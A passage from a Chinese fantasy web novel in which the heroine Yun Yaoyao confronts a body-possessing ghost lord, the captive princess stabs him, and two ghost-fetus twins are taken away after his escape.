邬盈侯何至于做个叛军首领,应当早早被收作某位家主的义子才是。 既非天纵奇才,又不是勤勉修炼,那邬盈侯的力量从何处所得。 是偶然所得的机缘,还是他背后另有高人。 云杳窈根本没想听到真正的答案,邬盈侯狡诈,她只是想诈一诈他,再根据他的反应判断真伪。 刚才的交锋中,这具身体已经有了伤口,找准时机,鉴义兴许能进入他体内,在识海内寻到蛛丝马迹。 可邬盈侯似乎早就等着她发问,毫无保留道:“我要真有这种本事,宁做人人唾弃的鬼仙,也不做人间的王侯。” 邬盈侯揪住已经探入体内的鉴义,指尖用力,鬼气逐渐向内挤压,云杳窈感受到自己能递送进线内的灵气越来越少。 她内心尚存侥幸,期盼这只是一个巧合。然而邬盈侯无情掐断鉴义,提着枯死在手中的一截短线,任由它在空中飞舞。 没了灵气供养的断线就像是濒死的蛇,开始猛烈挣扎,甚至想要缠绕着从他身上汲取灵气。 无奈,这些都是徒劳,邬盈侯很快就将它碾碎。 “你不会觉得,这东西只有你有吧?”邬盈侯嘲讽,他打了个响指,自身后延伸出无数条笔直而鲜红的线。 无数与鉴义相似的线深埋于他的魂魄,每一根都绷得笔直。 这些线显形后,邬盈侯的每一个动作都能牵动相应的红线。 不,从某种角度来看,更像是这些线在牵着他走动。 而千丝万缕中的邬盈侯,活像是一只提线人偶。 四周的空气越来越稀薄,云杳窈感觉自己快要喘不过来气,她被眼前的景象所震慑,半晌都无法回神。 明明还脚踏实地,云杳窈却有种置身半空的眩晕感。 身后的姜娆从昏迷中转醒,半只脚仍在鬼门关,她醒来看见云杳窈剑指姜烛,差点又昏过去。 姜烛是她在这世间仅剩的亲人,她第一反应便是抱住云杳窈的腿:“不要伤他,若是皇兄有什么错,我愿代为受过。” 一句话没说完,姜娆已经没多少力气抱住云杳窈。 身体往下滑落了许多,手还在紧紧攥着云杳窈的裙角,生怕她真的对姜烛下手。 姜烛的目光在两人间来回徘徊,她尚且虚弱,鬼胎吸食她太多血气,顺利将它们取出后,越发显得姜娆瘦弱干枯。 邬盈侯丝毫没有欺瞒姜娆的想法,从姜娆醒后,他就一直盯着她的一举一动,看见姜娆平安无事,他竟然笑眯眯唤她:“夫人。” “我猜的果然没错,那人果然有办法抱住你和孩子的性命。” 云杳窈的汗已经打湿整片后背,她咽下一口唾液,抽出一只手将姜娆拉起,她稍稍移步,将姜娆整个人护在身后。 “这具身体里已经不是姜烛了,他现在是邬盈侯。” 话音刚落,邬盈侯便纠正她:“不,我并没有杀死姜烛,他如今魂魄完好,仍在这副身体里沉睡。” 他伸出一只手,喊姜娆:“夫人。” 姜娆大口大口喘着气,她缓了好一阵,才怔怔问道:“真的吗?” 她死死盯着邬盈侯:“她说的是真的吗?” 邬盈侯的手稍稍回落,脸上温和的笑随之消失。 “是,我就是吴让。” 不过他并不气馁,事实如此,比起一味隐瞒,他更希望姜娆能够接受他的新身份,所以邬盈侯继续说:“阿娆,过来我身边。” 云杳窈压低声音:“不要听,不要问,最好也不要恨。” 她发觉自己的声音过于颤抖,深吸一口气,尽量冷静:“不要冲动,我还不清楚这个人的底细。” 虽然已经尽量放低声音,但如今的邬盈侯有别于凡夫俗子,五感灵敏,能将云杳窈的话听得一清二楚。 “夫人,你还不懂吗?我现在才是太子,她已经不能够保护你了,如今满城的人,无论活人还是死人,都听我号令,你这么聪慧,应该懂得如何保全自身。” “带着我们的孩子回来吧。”邬盈侯道,“这襄华王朝,合该你我夫妻共享。” 云杳窈没有说话,她还在绞尽脑汁想如何带着姜娆逃跑,隔着血海深仇,邬盈侯不可能说动姜娆临阵倒戈。 外面的情况不明,不过这时候还没有恶鬼进入崇仙阁,应该是闻佩鸣几人还能应付。 只要离开此处,不愁无法找机会拖延时间。 止戈的影子消散,但她的本体一定会用最快的速度赶回来。 鬼胎这种凶煞之物,止戈都能让它们与母体分离,还能各自平安。那等她回来,一定会有两全其美的法子帮姜烛脱困。 姜烛突然在此刻问她:“杀了他,皇兄是不是就回不来了?” 云杳窈犹豫片刻,还是委婉道:“**一旦死亡,姜烛便很难再活下去。” “那你会杀了他吗?”姜娆又问。 云杳窈刚才觉得自己有机会诛杀邬盈侯,可看了眼他身后 无数条红线后,便有些底气不足。 “如果到万不得已的时候,便只能杀了他。” 比起生灵涂炭,还不如直接将襄华未尽的气数就此斩断。 因果报应她不怕,姜娆和止戈若是怪她也没关系。 此鬼不除,后患无穷。 可现在最棘手的是,云杳窈根本没把握杀死邬盈侯。 邬盈侯如此有恃无恐,她可以断定,即便是刚才那一剑落下,他也不会死。 云杳窈额上的汗滴进眼里,咸而辣的汗液让她一只眼刺痛,但她不敢眨眼,始终盯着邬盈侯,担心他突然发难。 “你放心,无论如何,我都会保护你。”为了定住姜娆的心,她随口扯了个谎话,“还有姜烛。” 身后是姜娆长久的沉默,她原先慌乱的呼吸声突然变得沉稳悠长,原本搭在云杳窈肩头的手逐渐松开。 云杳窈有种不妙的预感。 姜娆哭着说:“对不起,但是求你不要拦我。” 说完,她拖着疲惫而沉重的身躯,踉踉跄跄往邬盈侯身旁跑去。 纤细的背影绕过问心,云杳窈能看见她提裙落荒而逃的狼狈。 衣摆绊住姜娆,她差点扑了个空。 在场的两个人都同时伸手。 只是这一次,接住姜娆的人换成了邬盈侯。 云杳窈觉得很荒谬,她没有怒斥姜娆的背叛,只是瞬间陷入无助。 好半天,她才张嘴:“为什么?” 姜娆似乎不敢直面她,整个人埋进邬盈侯怀里,轻轻发抖。 不知道是在害怕还是愧疚。 邬盈侯轻轻拍了拍姜娆的背,以作安抚,他微微躬身,将她整个人圈在怀里。 他夸赞:“你很聪明。” “不管你此刻是否真心,我都不会辜负你。你就是我此生唯一的妻子,襄华最尊贵的女人,史册会永远记得我们。” 从初见时的惊鸿一面,到如今的得偿所愿,吴让走了许多年。他知道姜娆可能会恨他,甚至仅仅是为了活命才回到他身边。 这些他都不在乎,只要恨里有那么些许爱,就足够了。 人生嘛,哪能事事圆满。 夫妻感情不和睦也没关系,只要时间够久,总能把一方的棱角磨平。 邬盈侯感受到怀中人的惊惧,柔声细语和她开玩笑:“夫人别怕,我天生一副烂心烂肺,拼拼凑凑,总能装下一个你。” 姜娆缓缓抬头,她用祈求的目光看着邬盈侯,恳求他放过云杳窈。 “夫君……”她喊得不甚熟练。 “云仙子于我有恩,你能不能不要杀她,将她驱逐出襄华就好。” 邬盈侯爱怜的抚摸她的额发,他带着疑心在姜娆发顶落下一个吻。 姜娆身体有些僵硬,但她没有躲开。 然后他便继续往下,先是额心,然后是脸颊,在即将触碰到嘴唇时,他忽然停下,满意的笑了出来。 说实在的,他其实没打算用姜烛的身体去和自己的妻子调情,怪恶心的。 还是等换一具更合适的身体吧。 这些话邬盈侯没有直说,只是轻轻在姜娆耳边呢喃,语调亲昵。 “放心,我本来就没打算让她死。有人想要见她,我不会真把她怎么样的。”邬盈侯收紧手上力道,不容姜娆动弹半分。 “我只是要把你抢回来,只要你一直跟着我,我自然会放她一马。” 第79章 说罢,不管云杳窈同不同意,邬盈侯抬手,自黑暗中出现几只恶鬼,他们前仆后继,紧紧跟随着云杳窈的脚步。 这里的每一只恶鬼都至少能抵过一个形生境界的修士,云杳窈刚刚遭到反噬,纵有上古神剑和鉴义相助,还是难免力不从心。 云杳窈会疲惫受伤,但恶鬼数量众多,每每被斩杀一只,很快便会补上新的。 再这么耗下去,迟早落入下风。 她索性暂时放弃与这些恶鬼缠斗,画地为牢,将自己圈进剑气所竖起的结界内。 “姜娆,不要信他。” 明明是同一张脸,姜娆却觉得邬盈侯如同毒蛇一般阴冷粘腻。落在她身上的目光都像是蛇腹游行,赤裸而直白的贴近她的每一寸肌肤。 这种令人毛骨悚然的感觉让姜娆很难冷静下来。她看出来云杳窈不能除掉邬盈侯,她们想要活命,最好的办法就是屈服。 “我想活下去。”姜娆说,“已经到了这般田地,倒不如认命。他好歹是我的夫君,与我共育两个孩子,有这两个孩子在,我相信他不会伤害我。” “吴让其实也不想伤害我的。”姜娆神情木讷,极力说服自己和云杳窈,“不然怎么会想方设法让你们救我,他明明有更稳妥的办法,明明可以不必顾及我的性命。” “孩子……”姜娆突然从恍惚中惊醒,眼神明亮一瞬,“我怎么没听见孩子的哭声?” 云杳窈觉得她这会儿好像中邪了一般,明明之前还对鬼胎深恶痛绝,这会儿真的生下两个人似的鬼物,竟然突然生出了点感情来。 难道母性真的是天生的,不可违抗的吗?如果连血海深仇都可以被所谓的血缘纽带化解,那和被下蛊有什么区别。 云杳窈心情复杂,她看着姜娆强打精神,跑到她身边,伏在神台上面,去看两只刚出生的小鬼。 它们是真切由她血肉化成,精气滋养出的小小生命。 这是一对龙凤胎眉眼继承了母亲的美貌,还不会说话,止戈最后一道封印未能完成,所以他们已经在逐渐恢复本性,凭借本能去靠近给养自己的母体。 寻常孩子刚降生时,往往红彤彤、皱巴巴的,但这两个孩子看起来已经相当成熟,颇具人形。 姜娆看着他们,就好像看到了幼时的她和姜烛。她屏住呼吸,想要听一听这两个孩子的声音,却发现他们睁着空洞的眼神,只是想方设法挥舞着藕节似的雪白手臂,没有哭闹,甚至没有表情。 其中一只小手握住姜娆的手指,是龙凤胎里的男孩儿。姜娆被他牵住以后才发现,这个孩子的掌心一片冰凉。 孩童的手劲很大,将她的手指塞进嘴里,没有吮吸,而是直接用整齐的小牙狠狠咬破她的皮肤。 血液流出来的瞬间,他用力吮吸,贪婪的吞咽着母亲的血。 云杳窈以为她会尖叫,会害怕,因为这两个孩子的诡异,连她这个外人都毛骨悚然。 更遑论被索取着的姜娆。 可姜娆只是定定望着他们出神,像是被抽去了浑身力气。 也对,她现在格外虚弱,还能喘气都算心性坚韧,若再被眼前情景吓晕过去,很有可能就要惊厥而亡。 半晌,直到指尖发白,再也吸不出什么东西,姜娆才得以抽出自己的食指。 然而还没等她收回手,她忽然发现一件事。 这个孩子没有呼吸。 姜娆分别探了探他们的口鼻,发现确实如此。她又赶紧抱起其中一个孩子,将耳朵贴在她身上,仔细去辨认。 “没有心跳。”姜娆明显慌了神,“孩子怎么没心跳……吴让!吴让!你快过来!” 邬盈侯缓步走近,神色淡然。 “鬼胎就是这样,等养些时日就好了。” 他将鬼胎放回神台,近乎冷漠的将孩子从母亲怀抱里剥离出来。封印还未解除,鬼胎本性极恶,杀欲深重,他不想让姜娆与其产生太深的羁绊。 “它们的降生是迫不得已,如果你不喜欢,我们还可以再生几个正常孩子。” 显然,邬盈侯并不把这两个鬼胎当作亲生骨肉对待,也不觉得姜娆会真心爱护他们。 他只是想要有着姜氏王命血脉的孩子,以此瞒天过海,逃脱天道惩罚。 “你放心,我不会改朝换代,襄华是我们的襄华,也依旧是姜氏的襄华。我只想做王姬的丈夫,还有未来陛下的摄政辅臣。” 可是姜娆神情激动,她声色怆然,问他:“你可以寻找到合适的替身,难道没办法替他 们改命吗?即便不能,难道就找不到一个合适的人代为抚养吗?宫中能够教养孩子的宫人众多,你竟然从未考虑过他们的降生后的处境吗?” “随随便便创造了他们,然后又不闻不问……”姜娆已经濒临崩溃。 邬盈侯从未见过她这幅模样。 在他心里,姜娆一直是端庄明媚的襄华王姬,如今这个歇斯底里、喜怒无常的女人,已经与他记忆中的少女相去甚远。 他沉默片刻,解释道:“这只是两只借腹而生的鬼而已。” 可是看着姜娆瘦削的肩膀,还有轻微凹陷的发红眼眶,邬盈侯突然又改了主意。 “你如果真的在意,那就养在身边吧。” 邬盈侯将她揽在怀中,一掌便能握住她的后腰。他用习惯了握刀拉弓,搅弄风云的手拍在姜娆后背,惊叹于自己竟然能这般温柔小意的对待一个女人。 他能感受到姜娆微微的挣扎,甚至一只手还在不断捶打他的前胸,不过再用力,砸在他的心口也成了柔情蜜意,这种不痛不痒的反抗在他眼里更像撒娇,反而让他放松警惕,甚至生出些不可言说的欣喜。 因为她在为他们共同的孩子鸣不平。 想到这一点,邬盈侯突然心底一阵柔软,他发觉姜娆手上的力道逐渐变小。 “如果累了,那我们……” 已经落下的手重新抬起,再次接近他胸口时,手里握着一柄削铁如泥的匕首。 与方才的小打小闹不一样,匕首插入的力道几乎用尽她的所有力气。邬盈侯这才反应过来,刚才她并不是在撒娇,而是要以此麻痹他。那些有意无意的触摸和拖拽更不是调情,顺带摸一摸他胸前是否有软甲作挡。 在准确刺进心口之后,姜娆的手已经软了,虎口发酸发麻。 她从未杀过人,不会握剑,不会骑射。她此前坚信圣人以身祭道,感化世人,这才是世间真理,然而今日遇上吴让,她的慈悲心全被抛之脑后,满脑子都是如何能确保他死在自己手里。 “去死。”姜娆整个人不停地战栗,说出的简短两字诅咒也是抖的。 可是很快,她就更加坚定的去咒骂邬盈侯:“去死,去死,去死……” 她越说越有底气,甚至即将脱力的手又重新握住刀柄,想要把匕首再往里推一些。 明明匕首已经刺进心脏,但是鲜血没有喷涌而出,邬盈侯也没有多少痛苦神情。 他脸上有一瞬空白,随机低低笑了起来,并且越笑越大声。两个人的肩膀都在打颤,最后不约而同跪倒在地。 恶鬼想要围过来,却被邬盈侯抬手叫停。很明显,这会儿他已经无暇顾及云杳窈。她也终于得空化解周身鬼气,斩杀周围的恶鬼。 云杳窈没有料到姜娆竟然有勇气去杀邬盈侯,她余光瞥见邬盈侯笑得眼泪都出来了,跪在姜娆面前,没有将胸口的剑拔出来,而是将她面前的碎发拨开,用手捧着她的脸。 “你杀的不是我,是姜烛。”他嗤嗤笑着,笑到直不起腰,“你以为杀了我就能换回他吗?” 邬盈侯双手掬着她的脸,用力晃了晃,与她四目相对:“太天真了。他死了我也不会死。” 他语气急转直下,带着最深的恶意,想要看姜娆崩溃痛苦的神情。 “失望吗?后悔吗?我要把你……” 他努力在记忆里搜刮着各种可怖的刑罚,故意吊着胃口不往下说,想要看见她眼中的恐惧。 可是除了大仇得报的快意和释然,他什么都看不到,甚至连最后的那点怨毒都消失不见。 姜娆跟着笑了,手轻轻松开匕首,却往邬盈侯心上压了千金重。 “我知道,所以我只是想要皇兄解脱。他爱民如子,仁善宽厚,不会想看到你用他的身体残害亲眷,屠杀无辜百姓。”姜娆说,“你欠我的,何止一条命。你明明有机会做个逍遥富贵的王侯,为什么还要挑起战事。” 邬盈侯反问她:“你不明白吗?你竟然不明白,自然是因为我心悦你啊。” 他瞪大双眼:“不是我不放过姜氏和那些百姓,是你不放过我啊!我喜欢你,想要娶你,想要配得上你,我有什么错!” 他字字情深,姜娆不堪其扰,打断他:“别再说了!” “分明是你狼子野心,却要把我当成借口。我告诉你,你的无耻和恶毒让我几欲作呕。如果可以选择,我宁愿这辈子都不曾遇见过你。” 姜烛的身体像是泄了气一般,逐渐僵硬腐败。姜娆鼓起勇气,推开邬盈侯的双手,自己撑着身子站了起来。 “你从未尊重过我,我们今生不能做夫妻,来世也不会有缘份。你进了地府,也只会被投到畜生道,你根本不配为人。” 邬盈侯捧腹大笑,他自己拔出了那柄匕首,任凭血液飞溅,染红衣衫。 “我不会死,可是你却亲手杀了自己的兄长,人都是贪生怕死的,亲手断送了他的生路,你觉得姜烛会不会怨恨你的无情?” 身后的红线愈发灼热,他知道自己又要去到新的身体里了。 云杳窈横剑,想要斩断那些抽离邬盈侯魂魄的情丝。 奈何这些丝线太多太密,剑气还未来得及斩断它们,它们便借气避到一旁。即便砍断一部分,但它们很快便重新生长出来,甚至还想缠上问心剑身,想要借此控制剑的走向。 周而复始,始终无法全部切断。 云杳窈收剑,问邬盈侯:“谁在帮你?如果他想要见我,为何不敢现身?” 邬盈侯还是如先前一般,不肯泄露半分,身上的生气越来越弱,鬼气越来越浓厚。 突然,他的头猛地抬起,神色无悲无喜,眼神如古井无波,深邃幽寂。 “我们很快就会见面的。” 说罢,数以万计的红色丝线齐齐断裂,他的头颅也随之掉落。 云杳窈看着这张熟悉的脸,想要将滚远的头颅捡起,好歹让姜烛不至于在死后还尸首分离。 无论是北境还是南荒,都认为死后尸体残缺的人会魂魄不得安宁,仍旧留恋尘世,以至于无法踏过望乡台,一直徘徊在人间与地府之间,不得转世投胎。 云杳窈已经死过一次,却没有见过鬼差,更没有到过地府。 但她觉得,姜烛不该是这种凄凉下场。所以她弯腰,想要将他的头放归原位。可能是刚才滚动的过程中,将颅内的鬼气都震了出来,云杳窈捡起来的时候,好像有个虚影从断头的接口处飘了下去,再眨眼去看,又消失不见了。 云杳窈把头摆好,却听见身后的姜娆发出一声近乎于尖啸的悲哭。 她定睛一看,头颅之上的脸逐渐剥脱,最终显露出真实面目,竟然是邬盈侯的脸。 姜娆扑到无头尸的面前,扒开他手臂上层层堆叠的衣服,在上面发现了一枚凤纹胎记,确认是姜烛的尸体无疑。 “头去哪里了?” 云杳窈大概猜到了,她想起了城头墙上那个仍保留了死前最后一刻神情的首级空洞而悲怆的首级,没有说话。 算算时间,岑无望应该已经带着那颗头往内庭走了。 邬盈侯如此羞辱姜烛,云杳窈有些不忍将实情告诉姜娆。 两个鬼胎逐渐突破止戈未完成的封印,发出他们在这世间的第一声啼哭。 在这之后,他们才有了呼吸、心跳、体温和影子。如果不看眼睛,他们两个就好像是一对再寻常不过的龙凤双胎。 姜娆心力憔悴,邬盈侯逃走了,她也没必要伪装,抱起其中一个,想要将他摔死。 可是这个小鬼似乎能感受到杀气,眼珠子极速转动几圈,然后定定看向姜娆,露出一个讨好的笑。婴儿薄薄的嘴唇没有盖住他的牙齿,两排米粒似的小牙整齐露出。 姜娆吓得没有抱稳,小鬼从她怀中跌了出去,迅速在空中翻了个身,四肢稳稳插在地面上。 接着,没等姜娆抱起他,他手脚并用爬开逃开她的手。接着转了个身, 从姜娆的小腿往上爬,沿着她的后背往上爬。 他小而锋利的手指甲狠狠嵌入姜娆的衣服里,没几下就把外面那层衣衫抓出几条爪痕。 小鬼的速度很快,他精准锁住姜娆的后颈,对着青色血管张开嘴,想要咬穿她脆弱的皮肉。 云杳窈眼皮抽搐了几下,直接用问心的剑鞘把他挑飞了出去。 小鬼在空中翻滚几圈,还想爬回到母体身边,却发现云杳窈一直在旁边,好几次险些把他捉住。 这两个女人不太好下嘴,小鬼眼珠子滴溜转着,忽然向后爬去。 看到他残影方向的瞬间,云杳窈便可以确定,他的目标是神台上的同胞妹妹。 吸食母体完成第一层突破的法子不成,他自然是凭借本能去吞噬更相近却也更软弱的东西。 这对龙凤胎中,妹妹鬼本就更孱弱,到现在还没有行动能力,她的四肢更为弱小,心脏却可以轻易透过皮肤看见。 云杳窈不想把事情想得这么糟糕,但按照现在的情况还有邬盈侯的恶趣味来看,邬盈侯同时培育两个鬼胎,完全有可能早就预设好了现在这种情况。 龙凤胎中的妹妹,很有可能是他一早就为另一只小鬼准备好的养料。 云杳窈将问心掷了出去,阻拦了哥哥鬼已经伸出去的爪子。 但小鬼的身法极其灵活,问心阻挡了几次,他便能凭借近乎野兽般的,对杀气的嗅觉完成躲避。 刚刚出世就已经这么难缠,假以时日,若是让他真的完成自我锻造,安然长大,必然会在世间兴风作浪。 为了天下太平,这种完全诞生于私心的孽障,云杳窈不能放任他为所欲为。 在鬼胎贴着墙壁躲避抓捕时,云杳窈闻到了一股熟悉的味道。 神祠内无风无雨,却陡然升起一阵润泽的水汽。 再仔细看,不是云雾细雨,而是一股鬼气。 岑无望突然从鬼气中显形,截住了从平綦迎面跳下的小鬼。 小鬼想挣扎逃跑,奈何在他面前的是鬼气更盛,修炼技法更为纯熟的另一只鬼。他被鬼气缠绕,跑也跑不掉,想要咬几口泄愤,但是每次都被岑无望刚好躲过。 “哪里来的小泥鳅。”岑无望揪着小鬼的脚脖子,“牙尖嘴利的。” 小鬼被他拿在手中,血液向头顶汇集,胃里还没消化的东西也被晃了出来。 他被血呛到,旺盛的鬼气弱下去不少,竟然哇哇哭了起来。 “这就哭了?”岑无望有些失望,“这么不经逗啊。” 他刚松开手,鬼胎还没合上哇哇乱叫的嘴,身体就已经飞了出去。 他胡乱啃食着周围的鬼气,虽然对岑无望这种上等补品垂涎欲滴,可现在他根本不可能单独捕杀这种等级的同类,所以他毫不犹豫撞向神台,在平面上翻了几个跟头,这才停在了妹妹鬼面前。 短短半个时辰,他已经长大了不少,所以很轻易就把更瘦弱的小鬼绑在身后,无规律的在神祠内乱窜。 云杳窈觉得自己一双眼睛险些跟不上他的速度,只好直接堵在出口处。 “他这是做什么,想带着另一只鬼逃跑吗?这种鬼胎也会有人的亲情观念吗?” “当然没有。”岑无望的鬼气开始蔓延整个室内。既然抓不住,那他就直接堵他的路,直到逼他往自己这里跑。 “同类间互相吞噬,不仅要分高下,还要留充足的时间去吸收外来的力量,尽可能化为己用。这种诞生于私欲的鬼邪性的很,没有过去,没有生前,没有感情,从降世的那一刻起就注定是鬼,未经驯化,自然就没有纲常约束,更不懂礼法,他只是带上了自己的储备粮。” 岑无望抬起右臂,准确抓住走投无路的小鬼。 一只手扼住小鬼咽喉,另一只手走就准备好结印。 还没来得及再次封印他们,背上的妹妹鬼突然张嘴,朝岑无望的手背咬去。 第80章 关键时刻,云杳窈眼疾手快,精准捏住妹妹鬼的后颈,将两只小鬼分离开来。 不想这两个小鬼居然龇牙咧嘴,剧烈挣扎起来,还手脚并用地往一起靠。 云杳窈自然不能让他们如愿,这两个邪物提前从母亲身体里剥离出来,被止戈用神女像中经年累月积攒的愿力和灵气所镇压,却仍然无法完全封印,且其中一只还有隐隐成长的势头。 他们身上有抓住一切机会活下去的旺盛求生欲。 鬼胎有着人类婴孩的面孔,且完全继承了姜氏血脉,眉眼与姜娆极为相似。 云杳窈的鉴义捆束着妹妹鬼,有一根丝线顺着她的臂弯向前延伸,直到探到心脏前。 鬼胎的心口皮肤很薄,上面印有一个掌心大小的印纹,那是止戈所设,以鬼胎心力为源,鬼胎不死,封印无解。 每当他们心中杀意滋长,心口的封印便会启动,让他们饱尝噬心之苦痛。按照止戈的说法,鬼胎本就不分善恶念之分,在他们的心里,恶念驱使的一切杀戮都只是本能,这种以暴制暴的办法虽然武断,却是最有效的。 云杳窈能清晰感受出小鬼血液的流动,以及心口皮肤远高于其他肢体部位的温度。 鉴义顺着脆弱的封印纹理,可以探到小鬼体内。 这是云杳窈的无心之举,可当鉴义真的进入鬼胎身体,她却愕然发现,本该空荡荡的鬼胎体内,竟有几率微弱的魂丝。 **完好,且还有魂魄,那他们便并非无魂恶种。 她又伸出一丝鉴义,探入另一个小鬼的身体里。 空空如也。 云杳窈有些迷茫,她喃喃道:“怎么可能?” 岑无望注意到云杳窈面有不虞之色,伸手探察,很快便知道她为何会露出一副古怪神情。 “这……”他触碰到女婴额心的食指微微收回半寸,“闻所未闻。” 行动完好的鬼胎有身无魂,而病殃殃的这个,体内反倒蕴藏了微弱的魂魄。 这缕不知从何时诞生的新魂,就这么缓慢生长着,因滋养魂魄所需之力甚多,几乎不能再分心作恶,才让这个鬼胎显得格外羸弱。 也正因如此,她虽有鬼气,魂魄却始终崭新,没有沾染恶念与杀气。且这个女婴的魂魄隐隐有紫气萦绕,虽然不起眼,但仔细辨认后就能看出来,这是象征着天命的帝王气。 被鉴义困得紧了,她张开嘴哭了起来,连哭声都很微弱。 但与另一只鬼不同的是,那只鬼的哭泣只有干嚎,而她哭着哭着,竟在眼角渗出点眼泪来。 到最后,连脸都哭得微微发红发紫。 云杳窈悄悄将鉴义放松一点,确保她不能挣脱后,将婴孩抱在怀里,想起些人间哄孩子的办法,僵硬着耸动了一会儿手臂,无措问周围人。 “怎么办?” 在场的都没有做母亲的经验,姜娆对这两个孩子并无感情,且一想到他们是邬盈侯造的孽,胃里就一阵翻江倒海。 被吮吸的手指还未散去麻木,她不知道两人为何突然犹豫,但看着这两张尚且稚嫩的面孔,又联想到刚才手忙脚乱去抓这两个小鬼的场景,不知是不忍多一点,还是无奈多一点,终究没有再生出勇气去抱过他们。 “他们原不该降生的。”姜娆的指甲嵌入掌心,只有这种刺痛感才能支撑着她保持清醒。“我不知道,我也不知道……” 终于,今日种种让她再难做出选择,在毫无征兆的情况下猝然昏了过去。 云杳窈将妹妹鬼送到岑无望手中,又及时扶住了姜娆,才不至于让她身心俱伤。 “先离开这里吧。”云杳窈叹了口气,“至少找个安全的地方,让她休息一下。” 她看了看岑无望两手各拎一只小鬼,有点头疼。 “至于这两个……”她舌头感觉要打结了,“孩子?” “姑且算是孩子吧。”想到这个带有凡王帝魂的孩子,云杳窈带着点绝望和认命道,“襄华气数未尽,如今储君 丧命,姜氏其余人估计也难逃劫数。她命不该绝,先将这两个带出去,等止戈到了再说。” 女婴刚才的挣扎和哭闹已经消耗了自身不少精力,再加上她先天体弱,这么一番折腾,她眼眶与脸颊尚红润,睫毛上还挂着泪珠子,竟也能在不知不觉中睡过去。 若是单看其中一只,她还可以哄骗自己说这不过是邪术养成的两个孽障,趁着止戈压制了他们身上的邪性,一举将他们铲除,是最简单又稳妥的解决办法。 可是如今另一个血肉魂魄齐全孩子摆在了云杳窈面前,几乎与寻常孩子无异,而且还继承了姜氏王族的气运,她实在无法下手。 岑无望知道她为何犹豫,他倒是不觉得这两个鬼胎有何拟人之处,同类相斥,他对这两个生来便鬼气冲天的小东西没什么好感,但是那名女婴天赋异禀。 他不信是天意如此,更愿意相信这是邬盈侯及其背后之人层层谋算中的一环。 当真是令人如鲠在喉。 岑无望微微眯起眼,端详着那个不安入睡,五官都皱成一团的安静女婴,又瞥见那个龇牙咧嘴,想要和他硬碰硬的幼年恶鬼,心里无端升起一股无名火。 岑无望抱着女婴,提着男孩儿,在云杳窈身后缓慢跟着。 崇仙阁地下祠堂通往地面的路很长,有几盏照明的灯火已经熄灭,岑无望没有空闲去取下灯笼照明,又担心云杳窈会害怕,时不时就要搞出点动静来证明自己还在。 所以小鬼叽里呱啦乱叫,他就有一搭没一搭随口和他较劲,反正谅这小恶鬼也听不懂。 哥哥鬼不知道岑无望心中所想,咿咿呀呀像只猴似的叫了半天,竟然半天后拼凑出一句人话。 岑无望单手将他提到自己面前。 灯火时明时暗,他凝神看了好一会儿,结合唇形才辨认出他口吐的究竟是什么人言。 “去死,去死,去死……” 显然,他理解了姜娆的滔天恨与怒,在被限制了行动后,企图以这种方式诅咒束缚他自由与野心的人。 岑无望就这么静静听着他咒骂,并未像小鬼预料中那般气急败坏,也没有着急松手教训他。 半晌,等云杳窈的身影隐入拐角,岑无望那隐隐带着绯红微光的眼瞳才定定回到他身上。 明明眼前男子没有动用力量,小鬼却莫名感到汗毛倒立,巨大的威压让他遵从本能,在畏惧重展露獠牙。 如梅枝柳脉般的面纹迅速攀爬蔓延到唇舌下方,他血色比常人淡的多,即便是依墙站在暖光中,肌肤仍有一种近似冷玉的质感。 小鬼看见岑无望薄唇微动:“噤声。” 小鬼原本喋喋不休的嘴终于安静了下来,他的唇形尚且保持着上扬姿态,齿缝却怎么都送不出一点气声。 有什么东西堵在他的舌根,让他再难言语。 岑无望眼中分外冰冷,没有丝毫压制他的兴奋感,他再度张口:“去声。” 这次,原本堵在喉间的鬼气凝结成刺,就这么横亘在喉咙里。 没有怒火,没有血腥,岑无望见他手脚并用想要去摸那无形的刺,并未展露出得意或喜悦。 他的目的一直都是让手上的讨厌鬼能够安生些,并不屑于折磨和虐杀。 这只小鬼的手好不容易够到自己的脖子,转着圈摸索也没摸到一个洞,他本就有着异于常人的直觉,几乎是立刻明白了岑无望无意对他下手,所以很识相的闭了嘴。 他原本就不会说话,暂且被封住声音也并没有损失什么。 但是这种被同类碾压的感觉令他很不爽,他看着岑无望脸上的恶鬼面纹一点点褪去,眼珠子跟着转动,显然是没有放弃继续折腾的想法。 不过他这回学聪明了,知道暂时无法摆脱岑无望,索性乖乖保存体力,等待下一个时机。 岑无望看他突然安静下来,四肢都软趴趴垂着,只有那双如狼般的眼睛还在紧盯着自己。在他眼里,这不过是已经断了爪牙的幼崽,不足为惧。 前方飘来云杳窈的声音:“岑无望?” 她太久没听见岑无望的脚步声,担心他是突发心疾,竟又折返回了一段路,来看他的情况。 岑无望立在她不远处,因错落的几节阶梯,所以需要仰起头去看他。 他笑眯眯问:“怎么了?” 云杳窈看着在他手里分外安生的两只小鬼,又看见他面色平静,便没多说些什么。 “走得太慢了。”云杳窈忍不住埋怨,“半天都没动静,吓死我了。” 岑无望自然而然接话:“怕黑吗?” 前方似乎没有灯盏和火把。 他拾级而上,离云杳窈越来越近,却敏锐听到她鼻间轻哼,接着,便看见她转身回去。 岑无望脚下一滞,忽然意识到什么,眉宇舒展开来,接着加快步子,跟进过去。 他继续装糊涂:“马上就能出去了,如果害怕的话,就离我近些吧。” 云杳窈听到后,疾步而行,又觉得什么都不说似乎更不妥当。 她为自己辩解:“谁怕黑,我早就不怕了。” 刚重回地面,身后的黑暗里,岑无望的脚步声再度消失,云杳窈的后颈传来一阵凉飕飕的风,她猛地回头,却差点撞到岑无望笑意盈盈的脸。 他在原地站定,俯身轻轻吹开她被惊动的额发,眼神如水,从她毛茸茸的额发往下流转,一直移到唇边。 目光止步于此,不再移动。 岑无望一副驯良顺从的模样,好像方才捉弄了云杳窈的人不是他一般,虚心向她讨要答案:“那为什么回头?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 云杳窈含糊其辞,她知道岑无望佯装不知,是在故意逗她。 某些时刻,岑无望总要摆出一副游刃有余的架势来,总是诱着她说些自己想听的话来。 云杳窈知道岑无望总是揣着明白装糊涂,若是羞恼便更加证实了岑无望心中所想,但若要是直接承认,岂不是又遂了他的意? 这么想着,云杳窈反而平静下来,她故意和岑无望作对:“我担心她呢。” 云杳窈下巴抬了抬,分明指向尚在沉睡的女婴。 岑无望明显失落:“原来是这样啊,我还以为你在担心我。” 他这么直截了当,云杳窈反而不知道他意欲何为。 “岑无望。”云杳窈蹙眉,抬手去摸岑无望额头,“你被夺舍了?” 岑无望哑然,云杳窈便接着问他:“你到底想做什么,我可没工夫再陪你玩闹了。” 